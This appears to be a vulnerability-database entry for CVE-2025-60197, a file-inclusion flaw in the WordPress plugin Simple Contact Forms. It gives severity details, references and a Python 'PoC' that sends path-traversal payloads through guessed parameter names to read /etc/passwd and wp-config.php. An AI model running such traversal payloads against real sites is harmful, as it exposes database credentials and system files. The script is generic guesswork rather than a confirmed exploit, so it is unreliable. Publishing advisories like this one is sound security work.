CVE-2025-60197

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in owenr88 Simple Contact Forms simple-contact-forms allows PHP Local File Inclusion.This issue affects Simple Contact Forms: from n/a through <= 1.6.4.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Simple Contact Forms <= 1.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-60197 PoC - Simple Contact Forms Local File Inclusion
# Target: WordPress site with Simple Contact Forms plugin <= 1.6.4

import requests
import sys
from urllib.parse import quote

def test_lfi(target_url):
    """
    Test for Local File Inclusion vulnerability in Simple Contact Forms plugin
    """
    # Common vulnerable parameters for WordPress plugins
    vulnerable_params = [
        'file',
        'page',
        'template',
        'include',
        'load',
        'controller'
    ]
    
    # Sensitive files to test
    test_files = [
        '../../../../../../etc/passwd',
        '../../../../../../wp-config.php',
        '../../../../../../../../etc/passwd',
        '../../../../../../../wp-config.php'
    ]
    
    print(f"[*] Testing target: {target_url}")
    print(f"[*] CVE-2025-60197 - Simple Contact Forms LFI\n")
    
    for param in vulnerable_params:
        for test_file in test_files:
            try:
                # Try GET request
                payload = {param: test_file}
                response = requests.get(target_url, params=payload, timeout=10)
                
                # Check for successful file inclusion
                if 'root:' in response.text or 'DB_NAME' in response.text:
                    print(f"[+] VULNERABLE! Parameter: {param}")
                    print(f"[+] Payload: {test_file}")
                    print(f"[+] Response length: {len(response.text)} bytes")
                    print(f"[*] Full URL: {response.url}\n")
                    return True
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Error testing {param}={test_file}: {e}")
                continue
    
    print("[-] No obvious LFI vulnerability detected")
    print("[*] Manual testing recommended with different parameters")
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-60197-poc.py <target_url>")
        print("Example: python cve-2025-60197-poc.py http://target.com/wp-admin/admin.php")
        sys.exit(1)
    
    target = sys.argv[1]
    test_lfi(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60197
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60197
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60197/
[4] VulDB https://vuldb.com/cve/CVE-2025-60197
[5] https://patchstack.com/database/Wordpress/Plugin/simple-contact-forms/vulnerability/wordpress-simple-contact-forms-plugin-1-6-4-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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